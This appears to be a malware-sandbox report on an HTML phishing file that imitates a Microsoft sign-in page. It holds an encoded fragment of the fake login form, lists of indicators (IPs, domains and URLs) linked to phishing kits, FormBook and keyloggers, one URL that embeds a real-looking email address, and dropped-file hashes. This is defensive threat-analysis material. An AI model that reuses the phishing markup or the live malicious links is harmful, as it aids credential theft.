CBlbWFpbCBhZGRyZXNzLjwvc3Bhbj4KICAgIDwvRElWPgoKICAgIDxESVYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLW1kLTI0Ij4KICAgICAgIAogICAgICAgIDxESVYgY2xhc3M9InBsYWNlaG9sZGVyQ29udGFpbmVyIj4KCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0iaXNhZG9zYSIgaWQ9ImlzYWRvc2EiIG1heGxlbmd0aD0iMTEzIiBjbGFzcz0iZm9ybS1jb250cm9sIGx0cl9vdmVycmlkZSBpbnB1dCBleHQtaW5wdXQgdGV4dC1ib3ggZXh0LXRleHQtYm94IiAgIHBsYWNlaG9sZGVyPSJFbWFpbCwgcGhvbmUsIG9yIFNreXBlIj4KCQkJCgkJCQoKICAgICAgICAgICAgPCEtLS0tPGlucHV0IG5hbWU9InBhc3N3ZCIgdHlwZT0icGFzc3dvcmQiIGlkPSJwYXNzd2QiIGF1dG9jb21wbGV0ZT0ib2ZmIiBkYXRhLWJpbmQ9Im1vdmVPZmZTY3JlZW4sIHRleHRJbnB1dDogcGFzc3dvcmRCcm93c2VyUHJlZmlsbCIgY2xhc3M9Im1vdmVPZmZTY
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: ://
URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Taking you to your organization's sign-in page", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Taking you to your organization's sign-in page", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Your account or password is incorrect. If you forgot your password, reset it now." ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Your account or password is incorrect. If you forgot your password, reset it now." ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html Model: Joe Sandbox AI	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.96.1	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	www.aonline.top/fqlg/
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	pelisplus.so/administrator/index.php
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
104.21.64.1	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	www.vilakodsiy.sbs/w7eo/
	1162-201.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/utww/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	ordrr.statementquo.com/QCbxA/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	adsfirm.com/administrator/index.php
	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ooc-g2.tm-4.office.com	Subscription_Renewal_Invoice_2025_HKVXTC.html	Get hash	malicious	HTMLPhisher	Browse	40.99.150.82
	https://pozaweclip.upnana.com/	Get hash	malicious	Unknown	Browse	52.98.242.242
	https://jkqbjwq.maxiite.com	Get hash	malicious	HTMLPhisher	Browse	52.98.32.2
	(Lhambright)VWAV.html	Get hash	malicious	Unknown	Browse	52.98.61.50
	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse	40.99.70.226
	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	40.99.32.114
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	52.98.61.34
	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	40.99.70.210
	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse	52.98.95.210
	https://mailustabucaedu-my.sharepoint.com/:u:/g/personal/stella_pabon_ustabuca_edu_co/EWCk8BqICKBBrExz32n-PvYBCVoLK4PToNCGKPT0vElGYg?e=w0tQWE	Get hash	malicious	Unknown	Browse	52.98.61.34
cdnjs.cloudflare.com	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.24.14
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
sni1gl.wpc.omegacdn.net	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://na4.docusign.net/Signing/EmailStart.aspx?a=ffa78034-d960-4bb3-b2a2-bb62a1fc4a65&etti=24&acct=86dab687-685e-40aa-af52-e5c3fc07b508&er=04714c6d-cc25-4a21-be91-01e1c43a5f3f	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	152.199.21.175
	http://loginmicrosoftonline.Bdo.scoremasters.gr/cache/cdn?email=christian.wernli@bdo.ch	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://form.fillout.com/t/emEtLm993dus	Get hash	malicious	Unknown	Browse	152.199.21.175
	Invoice_R6GPN23V_TransactionSuccess.html.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
code.jquery.com	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.66.137
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.2.137
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.194.137
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	151.101.130.137
	5b118cb6-e85d-926b-b917-b9317aeed46c.eml	Get hash	malicious	Unknown	Browse	151.101.2.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	KcSzB2IpP5.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	104.18.27.193
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	104.18.32.25
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
FASTLYUS	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.66.137
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	151.101.2.137
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	151.101.129.16
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	185.199.108.153
	https://www.shinsengumiusa.com/mrloskie	Get hash	malicious	Unknown	Browse	151.101.65.21
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://cjerichmond.jimdosite.com/	Get hash	malicious	Unknown	Browse	151.101.2.79
	Play_VM-NowTingrammAudiowav011.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	199.232.192.193
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.194.137
CLOUDFLARENETUS	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	KcSzB2IpP5.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.17.25.14
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	104.18.27.193
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	104.18.32.25
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
MICROSOFT-CORP-MSN-AS-BLOCKUS	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	51.144.100.160
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	52.252.156.53
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	40.126.32.72
	sora.arm.elf	Get hash	malicious	Mirai	Browse	104.208.173.191
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	13.107.253.45
	http://loginmicrosoftonline.Bdo.scoremasters.gr/cache/cdn?email=christian.wernli@bdo.ch	Get hash	malicious	Unknown	Browse	13.107.253.45
	5b118cb6-e85d-926b-b917-b9317aeed46c.eml	Get hash	malicious	Unknown	Browse	52.113.194.132
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	13.69.239.72
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	52.109.76.240

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 16:37:34 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9835757665181384
Encrypted:	false
SSDEEP:	48:8xYdnTUmspRs5HmidAKZdA1nehwiZUklqeh3y+3:8xYk78y
MD5:	6B767ABF841893B54B6937701BF3681B
SHA1:	4206D0F77A13692DD602789C72E8677285C3297C
SHA-256:	89FB4FA225477465F24BE8806217B7BAC2980E24B25C76FA4047D3472DFB469B
SHA-512:	CF4DDBCA20D557B9047012EB39BD746001ADD33F46890BEB3EC9D534DDBC7F302AAD8E7320C915E030A3C44AA9BB6A2556239E543A596EE44A49DDA32F8B5150
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....>>U.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.VZ......M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.VZ............................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ..............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 16:37:34 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9993449214225762
Encrypted:	false
SSDEEP:	48:8PYdnTUmspRs5HmidAKZdA1geh/iZUkAQkqehsy+2:8PYkf9Qly
MD5:	C90CF3EEB7BBA1D91D1B1B9E84D50F1F
SHA1:	3E64AC99852E17A0E5A1260B3D629D53457D4E19
SHA-256:	1AB89C2A53CEEF8981404D6CEF6532B8E1F2BD13D18BE873F0F6149005DACC04
SHA-512:	3368534FC6D58A4140DEB2C017D9E8BCF4D47E8F05F661697D7E0CBF2002E505DDE72ED6F4C35A649C4C0EA736428E3231B3B1CC20964C111A02F24AC0C1B9BD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....E.,U.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.VZ......M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.VZ............................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ..............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 09:52:18 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.008993468067279
Encrypted:	false
SSDEEP:	48:87YdnTUmspRCHmidAKZdA148eh7sFiZUkmgqeh7syy+BX:87Ykzngy
MD5:	F9B6A3A849D28FCDD973FDA06AB22242
SHA1:	F95850084153D52C87AAB2A5121898A366D3B5B6
SHA-256:	608343EE1F17234434240D4AB3DA3411002E2B60B14B305122FF587CB290AC29
SHA-512:	750C7456553E6507AE08B2C8AD4CA77679C59C7E5AA33F1DDE783564C10994B2F14EB6A902D7A7FE59E7976380E5FD9E6644C8CBC505BCB4E1C11FBD9D6423A9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....s4..z.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.VZ......M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.VZ............................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.V............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 16:37:34 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9939893959788937
Encrypted:	false
SSDEEP:	48:86YdnTUmspRs5HmidAKZdA1lehDiZUkwqeh4y+R:86Yk6Ky
MD5:	27A8B823A96F0A006A83B6A64EE0CB31
SHA1:	8E282871D7A66B1739917F74DE34BFBF4C4BB732
SHA-256:	8A793D74AA4EDA393775F9A19A6E475C99FF482690022FC064765A130223C727
SHA-512:	0BC71920F5601ECBAE4D2A8F59AE2737E84F3974915CFE78FBA4A424245F5ED759979DAA826F877EDDB82AB59A4E42001FE9E886DCBBE7F36C9193191A818169
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....uU%U.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.VZ......M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.VZ............................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ..............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 16:37:34 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9842993437782375
Encrypted:	false
SSDEEP:	48:8PYdnTUmspRs5HmidAKZdA17ehBiZUk1W1qehmy+C:8PYkK9Gy
MD5:	9D2B59E81C5A64A39F7F590B84BAE93F
SHA1:	248B7668A90F10A16B11CEB2CC73B5025FA8BBB0
SHA-256:	49F11D334346792726049CBAFDA487F451F5CDC773FD2BFDE639A22EB55145FA
SHA-512:	F7C0E38A0324B88C7CC094810316F7CA21C46481E219FA6EF657A481985E8E1896E64F54D44A3D4EC0D3022B702AA872953FC42AFF2CDAF8F9B419C45AE19814
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....4U.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.VZ......M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.VZ............................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ..............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 16:37:34 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.996522464983711
Encrypted:	false
SSDEEP:	48:8pYdnTUmspRs5HmidAKZdA1duTiehOuTbbiZUk5OjqehOuTbgy+yT+:8pYkCTLTbxWOvTbgy7T
MD5:	C3BB0D9C02510F240919FA64B8189C82
SHA1:	85E279DB6EFC1D72E41484F301B9DC15756F2146
SHA-256:	04102A16A75EF2CC1723AC4F4507C952076DC31F0F864AB48B0187F9DBE3FCFC
SHA-512:	43B4949422DE22625F67534AA553F54A539815846BCB38079BD5FDBE9CD1D4F8A169A586DDA08F7143DB70712FD29188D55382BA04FE3C921F6E30120823973A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......U.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.VZ......M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.VZ............................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ..............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
